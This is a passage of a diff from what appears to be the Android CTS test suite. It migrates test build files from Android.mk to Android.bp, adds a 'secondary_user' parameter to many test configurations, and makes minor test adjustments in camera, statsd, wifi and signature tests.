+ },
+ srcs: ["src/**/*.java"],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_AndroidManifest.xml",
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1_instant",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_instant_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV2",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version2_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV2_instant",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version2_instant_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestApp2V1",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_package2_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestApp2V2",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version2_package2_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1_badsignature",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_badsignature_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1_badb64_config",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_badb64_config_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1_badb64_signature",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_badb64_signature_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV3_configv1",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version3_configv1_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSignedConfigTestAppV1_debug_key",
+ defaults: ["CtsSignedConfigDefaults"],
+ manifest: "version1_debug_key_AndroidManifest.xml",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/signedconfig/app/Android.mk b/hostsidetests/signedconfig/app/Android.mk
deleted file mode 100644
index 448f785ac0e..00000000000
--- a/hostsidetests/signedconfig/app/Android.mk
+++ /dev/null
@@ -1,79 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1
-LOCAL_MANIFEST_FILE := version1_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_instant
-LOCAL_MANIFEST_FILE := version1_instant_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV2
-LOCAL_MANIFEST_FILE := version2_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV2_instant
-LOCAL_MANIFEST_FILE := version2_instant_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestApp2V1
-LOCAL_MANIFEST_FILE := version1_package2_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestApp2V2
-LOCAL_MANIFEST_FILE := version2_package2_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badsignature
-LOCAL_MANIFEST_FILE := version1_badsignature_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badb64_config
-LOCAL_MANIFEST_FILE := version1_badb64_config_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_badb64_signature
-LOCAL_MANIFEST_FILE := version1_badb64_signature_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV3_configv1
-LOCAL_MANIFEST_FILE := version3_configv1_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsSignedConfigTestAppV1_debug_key
-LOCAL_MANIFEST_FILE := version1_debug_key_AndroidManifest.xml
-include $(LOCAL_PATH)/build_signedconfig_apk.mk
diff --git a/hostsidetests/signedconfig/hostside/Android.bp b/hostsidetests/signedconfig/hostside/Android.bp
new file mode 100644
index 00000000000..78c3b487c0f
--- /dev/null
+++ b/hostsidetests/signedconfig/hostside/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsSignedConfigHostTestCases",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "tools-common-prebuilt",
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ "guava",
+ "truth-prebuilt",
+ ],
+ static_libs: ["hamcrest-library"],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/signedconfig/hostside/Android.mk b/hostsidetests/signedconfig/hostside/Android.mk
deleted file mode 100644
index 8f08e4999ae..00000000000
--- a/hostsidetests/signedconfig/hostside/Android.mk
+++ /dev/null
@@ -1,59 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsSignedConfigHostTestCases
-
-LOCAL_CTS_TEST_PACKAGE := android.signedconfig
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := \
- tools-common-prebuilt \
- cts-tradefed \
- tradefed \
- compatibility-host-util \
- guava \
- truth-prebuilt
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- hamcrest-library
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(call module-installed-files, \
- CtsSignedConfigTestAppV1 \
- CtsSignedConfigTestAppV1_instant \
- CtsSignedConfigTestAppV2 \
- CtsSignedConfigTestAppV2_instant \
- CtsSignedConfigTestApp2V1 \
- CtsSignedConfigTestApp2V2 \
- CtsSignedConfigTestAppV1_badsignature \
- CtsSignedConfigTestAppV1_badb64_config \
- CtsSignedConfigTestAppV1_badb64_signature \
- CtsSignedConfigTestAppV3_configv1 \
- CtsSignedConfigTestAppV1_debug_key \
- )
-
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 045b4a16985..c279c4990db 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -1291,7 +1291,7 @@ public class UidAtomTests extends DeviceAtomTestCase {
Thread.sleep(WAIT_TIME_SHORT);
getDevice().executeShellCommand(
"am broadcast -a action_anr -p " + DEVICE_SIDE_TEST_PACKAGE);
- Thread.sleep(11_000);
+ Thread.sleep(20_000);
}
// Sorted list of events in order in which they occurred.
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
index 7b95933d81f..2d09a0da3ee 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
@@ -56,6 +56,7 @@ public class BatteryStatsValidationTests extends DeviceAtomTestCase {
public void testConnectivityStateChange() throws Exception {
if (!hasFeature(FEATURE_WIFI, true)) return;
if (!hasFeature(FEATURE_WATCH, false)) return;
+ if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
final String fileName = "BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt";
StatsdConfig config = createValidationUtil().getConfig(fileName);
LogUtil.CLog.d("Updating the following config:\n" + config.toString());
diff --git a/hostsidetests/sustainedperf/AndroidTest.xml b/hostsidetests/sustainedperf/AndroidTest.xml
index 2377fa45237..b877fb506fc 100644
--- a/hostsidetests/sustainedperf/AndroidTest.xml
+++ b/hostsidetests/sustainedperf/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSustainedPerformanceTestCases.apk" />
diff --git a/hostsidetests/usb/AndroidTest.xml b/hostsidetests/usb/AndroidTest.xml
index c6105de66bc..14f6b95e803 100644
--- a/hostsidetests/usb/AndroidTest.xml
+++ b/hostsidetests/usb/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="misc" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsUsbTests.jar" />
</test>
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 9342a6fc574..53decc11b02 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -517,7 +517,11 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
" does not support color outputs, skipping");
continue;
}
-
+ if (!mAllStaticInfo.get(mCameraIds[i]).hasFlash()) {
+ Log.i(TAG, "Camera " + mCameraIds[i] +
+ " does not support flash, skipping");
+ continue;
+ }
openDevice(mCameraIds[i]);
SimpleCaptureCallback listener = new SimpleCaptureCallback();
CaptureRequest.Builder requestBuilder =
@@ -1462,18 +1466,6 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
mSession.setRepeatingRequest(requestBuilder.build(), listener, mHandler);
waitForSettingsApplied(listener, NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY);
- // For camera that doesn't have flash unit, flash state should always be UNAVAILABLE.
- if (mStaticInfo.getFlashInfoChecked() == false) {
- for (int i = 0; i < NUM_FLASH_REQUESTS_TESTED; i++) {
- result = listener.getCaptureResult(CAPTURE_RESULT_TIMEOUT_MS);
- mCollector.expectEquals("No flash unit available, flash state must be UNAVAILABLE"
- + "for AE mode " + initialAeControl,
- CaptureResult.FLASH_STATE_UNAVAILABLE,
- result.get(CaptureResult.FLASH_STATE));
- }
- return;
- }
-
// Turn on torch using FLASH_MODE_TORCH
requestBuilder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON);
requestBuilder.set(CaptureRequest.FLASH_MODE, CaptureRequest.FLASH_MODE_TORCH);
diff --git a/tests/contentsuggestions/Android.bp b/tests/contentsuggestions/Android.bp
new file mode 100644
index 00000000000..0dba01a29c0
--- /dev/null
+++ b/tests/contentsuggestions/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsContentSuggestionsTestCases",
+ defaults: ["cts_defaults"],
+ static_libs: [
+ "androidx.annotation_annotation",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "truth-prebuilt",
+ // TODO: remove once Android migrates to JUnit 4.12,
+ // which provides assertThrows
+ "testng",
+ ],
+ srcs: ["src/**/*.java"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/contentsuggestions/Android.mk b/tests/contentsuggestions/Android.mk
deleted file mode 100644
index 2577e88be71..00000000000
--- a/tests/contentsuggestions/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- androidx.annotation_annotation \
- compatibility-device-util-axt \
- ctstestrunner-axt \
- truth-prebuilt \
- testng # TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsContentSuggestionsTestCases
-
-LOCAL_SDK_VERSION := system_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/contentsuggestions/AndroidTest.xml b/tests/contentsuggestions/AndroidTest.xml
index d6c73a26f8b..9e8821d6e68 100644
--- a/tests/contentsuggestions/AndroidTest.xml
+++ b/tests/contentsuggestions/AndroidTest.xml
@@ -20,6 +20,7 @@
<!-- Only available to recents, which can't be an instant app. -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index 9fc608e108d..d17adbd6d54 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="art" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/java.io.tmpdir" />
<option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/user.home" />
diff --git a/tests/mocking/AndroidTest.xml b/tests/mocking/AndroidTest.xml
index 94bcc6f5a83..73759b0a785 100644
--- a/tests/mocking/AndroidTest.xml
+++ b/tests/mocking/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="mocking" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/debuggable/AndroidTest.xml b/tests/mocking/debuggable/AndroidTest.xml
index f3c8dadf110..95db765c3fc 100644
--- a/tests/mocking/debuggable/AndroidTest.xml
+++ b/tests/mocking/debuggable/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="component" value="mocking" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml
index ab18927f862..0c83c258ba1 100644
--- a/tests/mocking/inline/AndroidTest.xml
+++ b/tests/mocking/inline/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="mocking" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/signature/intent-check/AndroidTest.xml b/tests/signature/intent-check/AndroidTest.xml
index 40968ecedc2..e9c79f87b48 100644
--- a/tests/signature/intent-check/AndroidTest.xml
+++ b/tests/signature/intent-check/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
<option name="target" value="device" />
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
index bb96b9a76d2..405f5b25a47 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
@@ -333,21 +333,6 @@ public class ApiComplianceCheckerTest extends AbstractApiCheckerTest<ApiComplian
}
/**
- * Test the case where the API declares the method not synchronized, but it
- * actually is.
- */
- @Test
- @Ignore("b/124445655")
- public void testAddingSync() {
- ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
- JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
- JDiffClassDescription.JDiffMethod method = method("syncMethod", Modifier.PUBLIC, "void");
- clz.addMethod(method);
- checkSignatureCompliance(clz, observer);
- observer.validate();
- }
-
- /**
* Test the case where the API declares the method is synchronized, but it
* actually is not.
*/
diff --git a/tests/systemAppTest/prebuilts/readme.txt b/tests/systemAppTest/prebuilts/readme.txt
deleted file mode 100644
index f9ba205c6d8..00000000000
--- a/tests/systemAppTest/prebuilts/readme.txt
+++ /dev/null
@@ -1 +0,0 @@
-This directory will contain signed CtsSystemAppTestCases.apk.
diff --git a/tests/systemAppTest/test/Android.mk b/tests/systemAppTest/test/Android.mk
deleted file mode 100644
index 0c9401999de..00000000000
--- a/tests/systemAppTest/test/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# This module will not be built in normal CTS build
-# TODO: add xml generation for test build
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_PRIVILEGED_MODULE := true
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_APPS_PRIVILEGED)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSystemAppTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/tests/systemAppTest/test/AndroidManifest.xml b/tests/systemAppTest/test/AndroidManifest.xml
deleted file mode 100644
index dbcaf9e95e3..00000000000
--- a/tests/systemAppTest/test/AndroidManifest.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2013 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.systemapptest"
- android:versionCode="1"
- android:versionName="1.0" >
-</manifest>
diff --git a/tests/tests/animation/AndroidTest.xml b/tests/tests/animation/AndroidTest.xml
index 7b9d17d7ae5..ea0dacc3d2b 100644
--- a/tests/tests/animation/AndroidTest.xml
+++ b/tests/tests/animation/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAnimationTestCases.apk" />
diff --git a/tests/tests/background/AndroidTest.xml b/tests/tests/background/AndroidTest.xml
index 364457e8df6..2a1c2c3c0c9 100644
--- a/tests/tests/background/AndroidTest.xml
+++ b/tests/tests/background/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/bionic/AndroidTest.xml b/tests/tests/bionic/AndroidTest.xml
index aa603de24dc..c83983de2dc 100644
--- a/tests/tests/bionic/AndroidTest.xml
+++ b/tests/tests/bionic/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="bionic" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<!-- TODO(b/126376458): Remove this when sharding is supported by libgtest_isolated -->
<option name="not-shardable" value="true" />
diff --git a/tests/tests/colormode/AndroidTest.xml b/tests/tests/colormode/AndroidTest.xml
index babfbc3ce60..24520cf9423 100644
--- a/tests/tests/colormode/AndroidTest.xml
+++ b/tests/tests/colormode/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="graphics" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/contactsproviderwipe/AndroidTest.xml b/tests/tests/contactsproviderwipe/AndroidTest.xml
index d73a717d357..ffc6c167f8a 100644
--- a/tests/tests/contactsproviderwipe/AndroidTest.xml
+++ b/tests/tests/contactsproviderwipe/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- This is a test for apps with READ/WRITE_CONTACTS, which instant apps don't have -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/database/AndroidTest.xml b/tests/tests/database/AndroidTest.xml
index d48422addc3..a6b6b5e1b83 100644
--- a/tests/tests/database/AndroidTest.xml
+++ b/tests/tests/database/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsDatabaseTestCases.apk" />
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 0ef5cd90f82..3e4776465f1 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -921,9 +921,9 @@ public class WifiManagerTest extends AndroidTestCase {
.distinct()
.collect(Collectors.toList());
- if (uniquePackageNames.size() > 1) {
- fail("The NETWORK_CARRIER_PROVISIONING permission must not be held by more than one "
- + "application, but is held by " + uniquePackageNames.size() + " applications: "
+ if (uniquePackageNames.size() > 2) {
+ fail("The NETWORK_CARRIER_PROVISIONING permission must not be held by more than two "
+ + "applications, but is held by " + uniquePackageNames.size() + " applications: "
+ String.join(", ", uniquePackageNames));
}
}
diff --git a/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
index 98e2119b1fa..f1d5cf7db93 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
+++ b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="neuralnetworks" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
<option name="push" value="CtsTfliteNnapiDelegateTestCases->/data/local/tmp/CtsTfliteNnapiDelegateTestCases" />
